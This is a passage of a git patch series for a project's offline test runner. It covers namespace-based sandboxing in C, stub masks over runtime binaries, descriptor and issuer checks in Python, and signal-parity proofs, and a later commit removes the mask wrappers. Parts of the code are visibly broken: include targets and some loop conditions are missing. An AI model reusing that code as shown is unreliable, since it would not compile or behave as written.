pathlib.Path("/repo/value.txt").read_text()=="Odysseus prepared input\\n";assert not pathlib.Path("/repo/.env").exists();print("CONTAINER_ACTUAL_PRIVATE_READONLY_INPUT")']); + try{ + writeFileSync(join(source,'value.txt'),'Odysseus host-side change\n'); + const run=spawnSync(boundary.argv[0],boundary.argv.slice(1),{encoding:'utf8'}); + assert(run.status===0&&run.stdout.includes('CONTAINER_ACTUAL_PRIVATE_READONLY_INPUT'),'CONTAINER_READS_CAPTURED_BYTES: '+run.stderr); + }finally{boundary.dispose();} + } console.log(JSON.stringify({proof:'CONTAINER_PRIVATE_READONLY_INPUTS',result:'pass'})); }finally{captured?.dispose();rmSync(directory,{recursive:true,force:true});} diff --git a/scripts/offline-runner/mask-signal-proof.ts b/scripts/offline-runner/mask-signal-proof.ts new file mode 100644 index 0000000000..b9b635fe1e --- /dev/null +++ b/scripts/offline-runner/mask-signal-proof.ts @@ -0,0 +1,15 @@ +/** Runtime proof: the mask boundary must preserve a caller's one SIGTERM. */ +import {watchdogMs} from "../test-deadlines"; +const child=Bun.spawn(["/bin/sh","-c","trap 'printf \"trapped\\n\"; exit 23' TERM; printf 'ready\\n'; read line"],{stdin:"pipe",stdout:"pipe",stderr:"pipe"}); +const reader=child.stdout.getReader(),decoder=new TextDecoder();let output=""; +const watchdog=setTimeout(()=>{child.kill("SIGKILL");console.error("MASK_SIGNAL_PROOF_HANG_WATCHDOG");process.exit(1);},watchdogMs(15000)); +try{ + while(!output.includes("ready\n")){ + const part=await reader.read();if(part.done)throw Error("MASK_SIGNAL_READY_REQUIRED");output+=decoder.decode(part.value); + } + child.kill("SIGTERM"); + for(;;){const part=await reader.read();if(part.done)break;output+=decoder.decode(part.value);} + const code=await child.exited,stderr=await new Response(child.stderr).text(); + console.log(JSON.stringify({kind:"mask-signal-parity",code,signal:child.signalCode,output,stderr})); + if(code!==23||output!=="ready\ntrapped\n")throw Error("MASKED_SHELL_SIGNAL_MATCHES_MAIN"); +}finally{clearTimeout(watchdog);child.stdin.end();} diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 3453cdc0c7..814263ff46 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"7292b90a4b316bf7c7dc32c7f5278a50a266280aa09692a826e0fe21b9cec8e6","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"8e559f8e7cddf0316571ba91828e480ecce0521f902f3839aaa63f2fa9092503","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 3ed9de554e..9f250ee657 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -200,8 +200,9 @@ def finish_view(backing, prepared, caller, profile, before): # Match ordinary empty host mount points. A child that first ro-binds / # cannot create a missing parent before overlaying it with its own tmpfs. # These are private directories, never mounts of host contents. - for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys', 'opt', 'srv', 'mnt', 'media'): + for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys', 'opt', 'srv', 'mnt', 'media', 'var', 'root'): (view / directory).mkdir(parents=True, exist_ok=True) + os.chmod(view / 'root', 0o700) for name in ('passwd', 'group', 'nsswitch.conf', 'hosts', 'localtime', 'ld.so.cache', 'resolv.conf'): source = pathlib.Path('/etc') / name if source.exists(): diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index b41febe161..fde5ad3d16 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -74,7 +74,7 @@ test("one signal reaches an inherited-boundary interpreter exactly once",async() } },watchdogMs(30000)); -for(const parent of ["/opt","/srv","/mnt","/media"])test(`a child sandbox can overlay the private ${parent} mount point after making root read-only`,async()=>{ +for(const parent of ["/opt","/srv","/mnt","/media","/var","/root"])test(`a child sandbox can overlay the private ${parent} mount point after making root read-only`,async()=>{ const scratch=mkdtempSync("/tmp/odysseus-mount-parent-"); const before=readFileSync("/proc/self/mountinfo","utf8"); try{ From 8db179072c1aa32931045614c7c72d44bf69f12c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 00:19:57 +0000 Subject: [PATCH 169/187] test: prepare runtime masks in place without a process monitor --- scripts/offline-runner/inputs.py | 2 +- scripts/offline-runner/masks.ts | 6 +- scripts/offline-runner/native-exec.c | 82 +++++++++++++++++++++++++++ scripts/offline-runner/prepare.sh | 2 + scripts/offline-runner/runner.py | 4 +- scripts/offline-runner/view_client.py | 66 ++++++++++++++++++++- scripts/test-network-guard.ts | 2 +- 7 files changed, 156 insertions(+), 8 deletions(-) create mode 100644 scripts/offline-runner/native-exec.c diff --git a/scripts/offline-runner/inputs.py b/scripts/offline-runner/inputs.py index 8a7e2d3c85..7cea1d38fe 100644 --- a/scripts/offline-runner/inputs.py +++ b/scripts/offline-runner/inputs.py @@ -17,7 +17,7 @@ def snapshot(source, destination, bun): for package in (source/'packages').iterdir(): if package.is_dir(): inputs.extend(pathlib.PurePosixPath('packages',package.name,name) for name in ('node_modules','dist')) - tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','bun-path','bun')} + tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','native-exec','bun-path','bun')} def ignore(folder,names): denied=[] for name in names: diff --git a/scripts/offline-runner/masks.ts b/scripts/offline-runner/masks.ts index 3a93ad8cb1..242d2ed5c5 100644 --- a/scripts/offline-runner/masks.ts +++ b/scripts/offline-runner/masks.ts @@ -2,7 +2,7 @@ import {readFileSync} from "node:fs"; import {basename} from "node:path"; import {requireOfflineRunner} from "./qualification"; -type MaskSet={version:1;stub:string;paths:string[]}; +type MaskSet={version:1;stub:string;exec:string;paths:string[]}; export function runtimeMaskCommand(command:readonly string[],env:Record):string[] { requireOfflineRunner(); // A native launch is safe because the whole view is offline, independently @@ -10,8 +10,8 @@ export function runtimeMaskCommand(command:readonly string[],env:Record["--ro-bind",masks.stub,path]),"--",...command]; + return [masks.exec,...paths.flatMap(path=>["--mask",masks.stub,path]),"--",...command]; } diff --git a/scripts/offline-runner/native-exec.c b/scripts/offline-runner/native-exec.c new file mode 100644 index 0000000000..ea0fcc972f --- /dev/null +++ b/scripts/offline-runner/native-exec.c @@ -0,0 +1,82 @@ +/* Test mask setup in place: no monitor or child can outlive a caller's kill. */ +#define _GNU_SOURCE +#include +extern char **environ; +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int refuse(const char *stage){ + int saved=errno; + dprintf(2,"{\"kind\":\"offline-mask-refusal\",\"success\":false,\"reason\":\"offline native isolation unavailable: mask setup failed\",\"stage\":\"%s\",\"errno\":%d}\n",stage,saved); + return 125; +} +static int write_map(const char *path,const char *value){ + int fd=open(path,O_WRONLY|O_CLOEXEC|O_NOFOLLOW);if(fd<0)return -1; + size_t size=strlen(value);ssize_t result=write(fd,value,size);int saved=errno;close(fd);errno=saved; + return result==(ssize_t)size?0:-1; +} +static int clean_loader_environment(void){ + for(char **item=environ;*item;){ + char *equal=strchr(*item,'=');if(!equal){item++;continue;} + char *key=strndup(*item,(size_t)(equal-*item));if(!key)return -1; + int loader=!strncmp(key,"LD_",3)||!strncmp(key,"DYLD_",5)||!strncmp(key,"PYTHON",6)||!strcmp(key,"BUN_OPTIONS")||!strcmp(key,"BASH_ENV")||!strcmp(key,"ENV"); + if(!strcmp(key,"NODE_OPTIONS")){ + const char *prefix="--max-old-space-size=",*value=equal+1; + int memory=!strncmp(value,prefix,strlen(prefix)); + if(memory){value+=strlen(prefix);memory=*value>='1'&&*value<='9';while(*value>='0'&&*value<='9')value++;memory=memory&&!*value;} + loader=!memory; + } + if(loader){int result=unsetenv(key);free(key);if(result)return -1;item=environ;} + else{free(key);item++;} + } + return 0; +} +int main(int argc,char **argv){ + /* The only inputs are the immutable stub/targets and original command from + * the test guard. The helper grants no host capability or transport. */ + int split=1; + while(split=argc){errno=EINVAL;return refuse("arguments");} + split+=3; + } + if(split+1>=argc||split==1){errno=EINVAL;return refuse("arguments");} + if(clean_loader_environment())return refuse("loader-environment"); + uid_t uid=getuid();gid_t gid=getgid();char map[96]; + if(unshare(CLONE_NEWUSER|CLONE_NEWNS))return refuse("private-user-mount-view"); + snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)uid,(unsigned long)uid); + if(write_map("/proc/self/uid_map",map))return refuse("uid-map"); + if(write_map("/proc/self/setgroups","deny\n"))return refuse("setgroups"); + snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)gid,(unsigned long)gid); + if(write_map("/proc/self/gid_map",map))return refuse("gid-map"); + if(mount(NULL,"/",NULL,MS_REC|MS_PRIVATE,NULL))return refuse("private-propagation"); + for(int i=1;i "$runner_root/.test-tools/bun-path" "$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/runtime-stub.c" -o "$runner_root/.test-tools/native-stub" chmod 0555 "$runner_root/.test-tools/native-stub" +"$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/native-exec.c" -o "$runner_root/.test-tools/native-exec" +chmod 0555 "$runner_root/.test-tools/native-exec" ln -sf entry "$runner_root/.test-tools/bun" printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking project tests.\n' "$runner_root" if [[ "${1:-}" = --install-system ]]; then diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 9f250ee657..d87e6388f8 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -290,9 +290,11 @@ def finish_view(backing, prepared, caller, profile, before): 'network': network} stub = ROOT / '.test-tools/native-stub' bind(stub, stub) + mask_exec = ROOT / '.test-tools/native-exec' + bind(mask_exec, mask_exec) candidates = sorted(str(path.resolve()) for path in (ROOT / 'node_modules/@anthropic-ai').glob('claude-agent-sdk*/claude') if path.is_file()) mask_file = pathlib.Path('/run/brain-test/runtime-masks.json') - mask_file.write_text(json.dumps({'version':1,'stub':str(stub),'paths':candidates})) + mask_file.write_text(json.dumps({'version':1,'stub':str(stub),'exec':str(mask_exec),'paths':candidates})) os.chmod(mask_file,0o444) bind(mask_file, mask_file) catalog_file = pathlib.Path('/run/brain-test/rootless-files.json') diff --git a/scripts/offline-runner/view_client.py b/scripts/offline-runner/view_client.py index 9161a17c51..864eac2b60 100644 --- a/scripts/offline-runner/view_client.py +++ b/scripts/offline-runner/view_client.py @@ -1,10 +1,14 @@ """One read-only namespace qualification request; no executable/file requests.""" +import errno +import fcntl +import hashlib import json import os import pathlib import socket import stat import struct +import sys def request(base): @@ -31,9 +35,67 @@ def request(base): return result +def exec_descriptors(): + declared={} + for key in ('BRAIN_WORKSPACE_LEASE','BRAIN_NATIVE_RECEIPT'): + if key in os.environ: + token=json.loads(os.environ[key]);fd=token['fd'] + if not isinstance(fd,int) or fd<3 or fd in declared:raise ValueError('harness schema') + declared[fd]=(key,token) + # Inventory first: opening /proc/self/fd adds an fd that is gone after + # listdir, so tolerate EBADF for that one stale inventory entry. + for number in os.listdir('/proc/self/fd'): + fd=int(number) + try:info=os.fstat(fd) + except OSError as error: + if error.errno==errno.EBADF:continue + raise + if fd<3: + if stat.S_ISREG(info.st_mode) or stat.S_ISFIFO(info.st_mode) or os.isatty(fd):continue + null=os.stat('/dev/null') + if stat.S_ISCHR(info.st_mode) and info.st_rdev==null.st_rdev:continue + raise ValueError('unsafe stdio') + if fd not in declared:os.close(fd);continue + key,token=declared[fd] + if not stat.S_ISREG(info.st_mode) or info.st_uid!=os.getuid() or info.st_nlink!=1 or str(info.st_dev)!=str(token['dev']) or str(info.st_ino)!=str(token['ino']):raise ValueError('harness identity') + flags=fcntl.fcntl(fd,fcntl.F_GETFL)&os.O_ACCMODE + if flags not in (os.O_RDONLY,os.O_WRONLY,os.O_RDWR) or (key=='BRAIN_NATIVE_RECEIPT' and flags==os.O_RDONLY):raise ValueError('harness direction') + owner=token['ownerPid'] + if not isinstance(owner,int) or owner<1:raise ValueError('harness owner') + namespace=str(os.stat('/proc/self/ns/pid').st_ino) + if key=='BRAIN_NATIVE_RECEIPT' and token.get('ownerPidNamespace')!=namespace: + # The original launcher validated this inherited file capability + # before the PID transition; the unchanged fd remains the channel. + continue + stamp=pathlib.Path('/proc/%d/stat'%owner).read_text().rsplit(') ',1)[1].split()[19] + if stamp!=token['ownerStart']:raise ValueError('harness owner expired') + current=os.getpid();owned=False + for _ in range(256): + if current==owner:owned=True;break + if current<=1:break + current=int(pathlib.Path('/proc/%d/stat'%current).read_text().rsplit(') ',1)[1].split()[1]) + if not owned:raise ValueError('harness owner is not an ancestor') + for fd in declared:os.fstat(fd) + + +def execute(base,command): + exec_descriptors() + result=request(base) + namespaces={key:os.readlink('/proc/self/ns/'+key) for key in ('net','mnt','ipc','pid','user')} + identity={'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups()} + fields=dict(line.split(':',1) for line in pathlib.Path('/proc/self/status').read_text().splitlines() if ':' in line) + if result['namespaces']!=namespaces or result['identity']!=identity or result['mountHash']!=hashlib.sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest():raise ValueError('final view changed') + if any(int(fields[key].strip(),16) for key in ('CapEff','CapPrm','CapInh','CapAmb','CapBnd')):raise ValueError('mask capabilities') + os.execvpe(command[0],command,os.environ) + + if __name__=='__main__': try: base=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) - print(json.dumps(request(base))) - except (OSError,ValueError,KeyError): + if sys.argv[1:2]==['--exec'] and len(sys.argv)>2:execute(base,sys.argv[2:]) + elif len(sys.argv)==1:print(json.dumps(request(base))) + else:raise ValueError('arguments') + except (OSError,ValueError,KeyError) as error: + if sys.argv[1:2]==['--exec']: + print(json.dumps({'kind':'offline-mask-refusal','success':False,'reason':'offline native isolation unavailable: mask setup failed','stage':'view-qualification','operation':type(error).__name__}),file=sys.stderr,flush=True) raise SystemExit(125) diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 0c0748ee3e..ff16e1ace8 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -173,7 +173,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const inherited = inheritWorkspaceLease({ ...options, env: testGitEnvironment(options.env ?? process.env) }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; else args[0] = inherited; - const result = (/(?:^|\/)(?:entry|bun)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) + const result = (/(?:^|\/)(?:entry|bun|native-exec)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) ? spawnEntry(native, Bun, key === "spawnSync", cmd, (Array.isArray(first) ? args[1] : args[0]) as Record) : Reflect.apply(native, Bun, args); return result; From 3eed66180abecc64826cbc8a58a712744a96403b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 00:22:46 +0000 Subject: [PATCH 170/187] test: check in-place mask PID parity and final issuer identity --- scripts/offline-runner/mask-signal-proof.ts | 41 ++++++++++++++------- scripts/offline-runner/view_client.py | 5 +++ 2 files changed, 32 insertions(+), 14 deletions(-) diff --git a/scripts/offline-runner/mask-signal-proof.ts b/scripts/offline-runner/mask-signal-proof.ts index b9b635fe1e..44c8ab21c0 100644 --- a/scripts/offline-runner/mask-signal-proof.ts +++ b/scripts/offline-runner/mask-signal-proof.ts @@ -1,15 +1,28 @@ -/** Runtime proof: the mask boundary must preserve a caller's one SIGTERM. */ +/** Runtime proof: a mask boundary preserves the caller's PID and one signal. */ import {watchdogMs} from "../test-deadlines"; -const child=Bun.spawn(["/bin/sh","-c","trap 'printf \"trapped\\n\"; exit 23' TERM; printf 'ready\\n'; read line"],{stdin:"pipe",stdout:"pipe",stderr:"pipe"}); -const reader=child.stdout.getReader(),decoder=new TextDecoder();let output=""; -const watchdog=setTimeout(()=>{child.kill("SIGKILL");console.error("MASK_SIGNAL_PROOF_HANG_WATCHDOG");process.exit(1);},watchdogMs(15000)); -try{ - while(!output.includes("ready\n")){ - const part=await reader.read();if(part.done)throw Error("MASK_SIGNAL_READY_REQUIRED");output+=decoder.decode(part.value); - } - child.kill("SIGTERM"); - for(;;){const part=await reader.read();if(part.done)break;output+=decoder.decode(part.value);} - const code=await child.exited,stderr=await new Response(child.stderr).text(); - console.log(JSON.stringify({kind:"mask-signal-parity",code,signal:child.signalCode,output,stderr})); - if(code!==23||output!=="ready\ntrapped\n")throw Error("MASKED_SHELL_SIGNAL_MATCHES_MAIN"); -}finally{clearTimeout(watchdog);child.stdin.end();} +const args=new Set(process.argv.slice(2)); +if([...args].some(arg=>!["--repeat=50","--kill","--pid"].includes(arg))||(args.has("--kill")&&args.has("--repeat=50")))throw Error("Unknown mask lifecycle proof"); +const kill=args.has("--kill"),pidProof=args.has("--pid"),repetitions=args.has("--repeat=50")?50:1; +for(let repetition=1;repetition<=repetitions;repetition++){ + const ready=pidProof?'printf "ready:%s\\n" "$$"':'printf "ready\\n"'; + const command=kill?`${ready}; exec sleep 30`:`trap 'printf "trapped\\n"; exit 23' TERM; ${ready}; read line`; + const child=Bun.spawn(["/bin/sh","-c",command],{stdin:"pipe",stdout:"pipe",stderr:"pipe"}); + const reader=child.stdout.getReader(),decoder=new TextDecoder();let output=""; + const watchdog=setTimeout(()=>{child.kill("SIGKILL");console.error("MASK_SIGNAL_PROOF_HANG_WATCHDOG");process.exit(1);},watchdogMs(45000)); + try{ + while(!output.includes("\n")){ + const part=await reader.read();if(part.done)throw Error("MASK_SIGNAL_READY_REQUIRED");output+=decoder.decode(part.value); + } + if(pidProof&&output!==`ready:${child.pid}\n`){child.kill("SIGKILL");throw Error("MASKED_SHELL_PID_MATCHES_MAIN");} + const began=performance.now();child.kill(kill?"SIGKILL":"SIGTERM"); + for(;;){const part=await reader.read();if(part.done)break;output+=decoder.decode(part.value);} + const code=await child.exited,stderr=await new Response(child.stderr).text(),elapsedMs=performance.now()-began; + console.log(JSON.stringify({kind:"mask-signal-parity",repetition,pid:child.pid,code,signal:child.signalCode,output,stderr,elapsedMs})); + const prefix=pidProof?`ready:${child.pid}\n`:"ready\n"; + if(kill){ + // Product timing: the same unchanged ten-second abort bound as the real + // maintenance-worker control. The 45s watchdog only cleans up a hang. + if(code!==137||output!==prefix||elapsedMs>=/* native-product-timing: Unchanged maintenance abort bound. */10000)throw Error("MASK_SIGKILL_OUTPUT_EOF_WITHIN_UNCHANGED_ABORT_BOUND"); + }else if(code!==23||output!==prefix+"trapped\n")throw Error("MASKED_SHELL_SIGNAL_MATCHES_MAIN"); + }finally{clearTimeout(watchdog);child.stdin.end();} +} diff --git a/scripts/offline-runner/view_client.py b/scripts/offline-runner/view_client.py index 864eac2b60..42f826de8d 100644 --- a/scripts/offline-runner/view_client.py +++ b/scripts/offline-runner/view_client.py @@ -79,6 +79,11 @@ def exec_descriptors(): def execute(base,command): + if base['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init':raise ValueError('issuer') + owner=pathlib.Path('/proc/1/stat').read_text().rsplit(') ',1)[1].split()[19] + issuer=pathlib.Path('/proc/1/cmdline').read_bytes().split(b'\0') + allowed=(os.fsencode(base['root']+'/scripts/offline-runner/runner.py'),b'/usr/local/libexec/brain-test/runner.py') + if owner!=base['ownerStart'] or issuer[1:3]!=[b'-I',b'-S'] or issuer[3] not in allowed:raise ValueError('issuer identity') exec_descriptors() result=request(base) namespaces={key:os.readlink('/proc/self/ns/'+key) for key in ('net','mnt','ipc','pid','user')} From a1b5b7304d292f46b9127bdb3ca790fac743693e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 00:35:58 +0000 Subject: [PATCH 171/187] test: remove automatic runtime mask wrappers under the O1 ruling --- docs/process/testing.md | 8 +++ scripts/diagram-export-source.mjs | 2 +- scripts/offline-runner/inputs.py | 2 +- scripts/offline-runner/masks.ts | 17 ----- scripts/offline-runner/native-exec.c | 82 ---------------------- scripts/offline-runner/prepare.sh | 4 +- scripts/offline-runner/rootless-files.json | 4 +- scripts/offline-runner/runner.py | 7 -- scripts/offline-runner/view_client.py | 71 +------------------ scripts/test-network-guard.ts | 7 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/test-determinism.test.ts | 2 +- 14 files changed, 22 insertions(+), 190 deletions(-) delete mode 100644 scripts/offline-runner/masks.ts delete mode 100644 scripts/offline-runner/native-exec.c diff --git a/docs/process/testing.md b/docs/process/testing.md index b72e6c9b73..2052cee1cc 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -111,6 +111,14 @@ startup hooks before project code runs; the preload refuses native qualification for that unsupported entry and cannot retroactively clean it. Dependency/image acquisition is preparation, outside the offline test phase. +Automatic per-launch shell-mask wrappers are removed under the maintainer's +[O1 ruling for #4313](https://github.com/schlessera/brain-kit/issues/4313). +Their extra process changed signal delivery and could keep an aborted worker's +output open. The qualified kernel boundary, private IPC and settings, clean +startup environment, non-loopback preload and receipts remain mandatory. +The fixed stub remains for independent actual-native/stub-substitution proof; +product- and fixture-owned masks are unchanged. An unqualified entry refuses. + ### Deliberate offline commands on Linux Use the repository launcher when a manual test command needs OS-level network diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index 677161cecd..0dd50883ea 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts", "scripts/offline-runner/masks.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts", "scripts/offline-runner/pipes.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/offline-runner/inputs.py b/scripts/offline-runner/inputs.py index 7cea1d38fe..8a7e2d3c85 100644 --- a/scripts/offline-runner/inputs.py +++ b/scripts/offline-runner/inputs.py @@ -17,7 +17,7 @@ def snapshot(source, destination, bun): for package in (source/'packages').iterdir(): if package.is_dir(): inputs.extend(pathlib.PurePosixPath('packages',package.name,name) for name in ('node_modules','dist')) - tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','native-exec','bun-path','bun')} + tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','bun-path','bun')} def ignore(folder,names): denied=[] for name in names: diff --git a/scripts/offline-runner/masks.ts b/scripts/offline-runner/masks.ts deleted file mode 100644 index 242d2ed5c5..0000000000 --- a/scripts/offline-runner/masks.ts +++ /dev/null @@ -1,17 +0,0 @@ -/** Additional known-runtime path masks. No stage provenance or byte scanning. */ -import {readFileSync} from "node:fs"; -import {basename} from "node:path"; -import {requireOfflineRunner} from "./qualification"; -type MaskSet={version:1;stub:string;exec:string;paths:string[]}; -export function runtimeMaskCommand(command:readonly string[],env:Record):string[] { - requireOfflineRunner(); - // A native launch is safe because the whole view is offline, independently - // of its spelling. Retain path tripwires around opaque shell expressions. - const shell=["sh","bash","dash","zsh","ksh"].includes(basename(command[0]??"")); - if(!shell||!command.slice(1,3).includes("-c"))return [...command]; - const masks=JSON.parse(readFileSync("/run/brain-test/runtime-masks.json","utf8")) as MaskSet; - if(masks.version!==1||!Array.isArray(masks.paths)||typeof masks.stub!=="string"||typeof masks.exec!=="string")throw Error("offline native isolation unavailable: runtime masks"); - const selected=env.CLAUDE_CODE_PATH; - const paths=[...new Set([...masks.paths,...(selected?.startsWith("/")?[selected]:[])])]; - return [masks.exec,...paths.flatMap(path=>["--mask",masks.stub,path]),"--",...command]; -} diff --git a/scripts/offline-runner/native-exec.c b/scripts/offline-runner/native-exec.c deleted file mode 100644 index ea0fcc972f..0000000000 --- a/scripts/offline-runner/native-exec.c +++ /dev/null @@ -1,82 +0,0 @@ -/* Test mask setup in place: no monitor or child can outlive a caller's kill. */ -#define _GNU_SOURCE -#include -extern char **environ; -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static int refuse(const char *stage){ - int saved=errno; - dprintf(2,"{\"kind\":\"offline-mask-refusal\",\"success\":false,\"reason\":\"offline native isolation unavailable: mask setup failed\",\"stage\":\"%s\",\"errno\":%d}\n",stage,saved); - return 125; -} -static int write_map(const char *path,const char *value){ - int fd=open(path,O_WRONLY|O_CLOEXEC|O_NOFOLLOW);if(fd<0)return -1; - size_t size=strlen(value);ssize_t result=write(fd,value,size);int saved=errno;close(fd);errno=saved; - return result==(ssize_t)size?0:-1; -} -static int clean_loader_environment(void){ - for(char **item=environ;*item;){ - char *equal=strchr(*item,'=');if(!equal){item++;continue;} - char *key=strndup(*item,(size_t)(equal-*item));if(!key)return -1; - int loader=!strncmp(key,"LD_",3)||!strncmp(key,"DYLD_",5)||!strncmp(key,"PYTHON",6)||!strcmp(key,"BUN_OPTIONS")||!strcmp(key,"BASH_ENV")||!strcmp(key,"ENV"); - if(!strcmp(key,"NODE_OPTIONS")){ - const char *prefix="--max-old-space-size=",*value=equal+1; - int memory=!strncmp(value,prefix,strlen(prefix)); - if(memory){value+=strlen(prefix);memory=*value>='1'&&*value<='9';while(*value>='0'&&*value<='9')value++;memory=memory&&!*value;} - loader=!memory; - } - if(loader){int result=unsetenv(key);free(key);if(result)return -1;item=environ;} - else{free(key);item++;} - } - return 0; -} -int main(int argc,char **argv){ - /* The only inputs are the immutable stub/targets and original command from - * the test guard. The helper grants no host capability or transport. */ - int split=1; - while(split=argc){errno=EINVAL;return refuse("arguments");} - split+=3; - } - if(split+1>=argc||split==1){errno=EINVAL;return refuse("arguments");} - if(clean_loader_environment())return refuse("loader-environment"); - uid_t uid=getuid();gid_t gid=getgid();char map[96]; - if(unshare(CLONE_NEWUSER|CLONE_NEWNS))return refuse("private-user-mount-view"); - snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)uid,(unsigned long)uid); - if(write_map("/proc/self/uid_map",map))return refuse("uid-map"); - if(write_map("/proc/self/setgroups","deny\n"))return refuse("setgroups"); - snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)gid,(unsigned long)gid); - if(write_map("/proc/self/gid_map",map))return refuse("gid-map"); - if(mount(NULL,"/",NULL,MS_REC|MS_PRIVATE,NULL))return refuse("private-propagation"); - for(int i=1;i "$runner_root/.test-tools/bun-path" "$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/runtime-stub.c" -o "$runner_root/.test-tools/native-stub" chmod 0555 "$runner_root/.test-tools/native-stub" -"$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/native-exec.c" -o "$runner_root/.test-tools/native-exec" -chmod 0555 "$runner_root/.test-tools/native-exec" ln -sf entry "$runner_root/.test-tools/bun" printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking project tests.\n' "$runner_root" if [[ "${1:-}" = --install-system ]]; then diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 814263ff46..e6b16a4e12 100644 --- a/scripts/offline-runner/rootless-files.json +++ 